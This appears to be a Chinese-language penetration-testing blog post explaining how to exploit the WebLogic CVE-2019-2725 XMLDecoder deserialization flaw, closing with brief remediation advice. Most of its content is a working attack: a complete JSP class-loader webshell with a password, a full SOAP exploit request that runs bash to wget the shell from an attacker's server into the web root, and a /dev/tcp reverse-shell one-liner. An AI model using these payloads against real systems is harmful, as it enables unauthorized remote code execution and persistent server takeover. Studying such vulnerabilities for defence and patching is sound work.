//去年存货
前言
在学习内网过程中遇到了weblogic比较常见的漏洞,编号是cve-2019-2725,之前没有总结过,于是本篇文章给大家总结归纳一下该漏洞的利用方法与原理。
基础知识
cve-2019-2725漏洞的核心利用点是weblogic的xmldecoder反序列化漏洞,攻击步骤就是将WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,在未授权的情况下远程执行命令,获得目标服务器的权限。影响版本如下:
Oracle WebLogic Server,版本 10.3.6.0、12.1.3.0
该漏洞经常作为打进内网的漏洞点,还是挺重要的,下面给大家讲解如何利用该漏洞来进行getshell。
利用过程
扫描端口扫描到了7001端口开放,于是我们先访问一下7001端口:
可以看到有weblogic的错报信息,说明网站有weblogic服务,于是我们判断有没有该漏洞,当我们访问有weblogic服务网站的时候可以访问以下路径:
_async/AsyncResponseService
发现回显页面如下:
发包返回了200,说明存在该漏洞,或者访问:
_async
存在以下页面说明存在漏洞:
已经得知存在cve-2019-2725漏洞后,我们便可以开始构造攻击。
我们需要构造一个JSP木马,可以查看下面的例子,木马的连接密码为xino:
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("xino");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
写完木马后我们需要将该木马放入我们的出网服务器里,需要注意的是服务器需要拥有web服务,因为之后会用wget命令来下载木马,之后我们查询我们要将木马上传到什么路径上去,访问如下地址:
/_async/AsyncResponseService?info
找到了上传路径为:
/servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/
之后我们需要构造表单来将木马上传到该路径里,可以参考下面的攻击代码:
POST /_async/AsyncResponseService HTTP/1.1
Host: ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 841
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget https://vps/xino.jsp -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/xino.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
之后我们就可以利用webshell管理工具去进行连接即可,当然这只是一种利用类型,我们还可以直接反弹shell到服务器,需要将string里的内容改为如下代码:
bash -i >& /dev/tcp/target ip/target port 0>&1
当发包后服务器返回下图,可以判断我们攻击成功:
漏扫工具
可能有朋友会问,weblogic这么多漏洞要怎样判断属于哪个漏洞呢,这里推荐一个weblogic中间件漏洞扫描工具weblogic-scan,下载链接如下:
https://github.com/dr0op/WeblogicScan
安装依赖:
python -m pip install -r requirements.txt
使用样例:
python WeblogicScan.py -u 127.0.0.1 -p 7001
扫描后发现:
可以看到该工具还是十分好用的,可以作为我们渗透时判断漏洞类型的快速方法,有兴趣的小伙伴可以自己下载去试一试。
修复方法
该漏洞的危害是不言而喻的,下面提出几个修复的方法:
1.可以去官方下载该漏洞的补丁包
2.升级JAVA版本到JDK7u21以上版本可以避免由于Java原生类反序列化漏洞造成的远程代码执行。
3.修改访问控制策略,限制对/_async/及/wls-wsat/路径的访问,这样就上传不了攻击木马了。
4.删除wls9_async_response.war与wls-wsat.war文件及相关数据,因为该漏洞由WAR包的缺陷引起,删除可以缓解,不过需要备份一下。
结语
简单分析了一下cve-2019-2725漏洞的原理以及攻击修复方法,因为之前没有总结所以特地写一个文章总结一下,如果对大家有帮助不妨一键三连支持一下。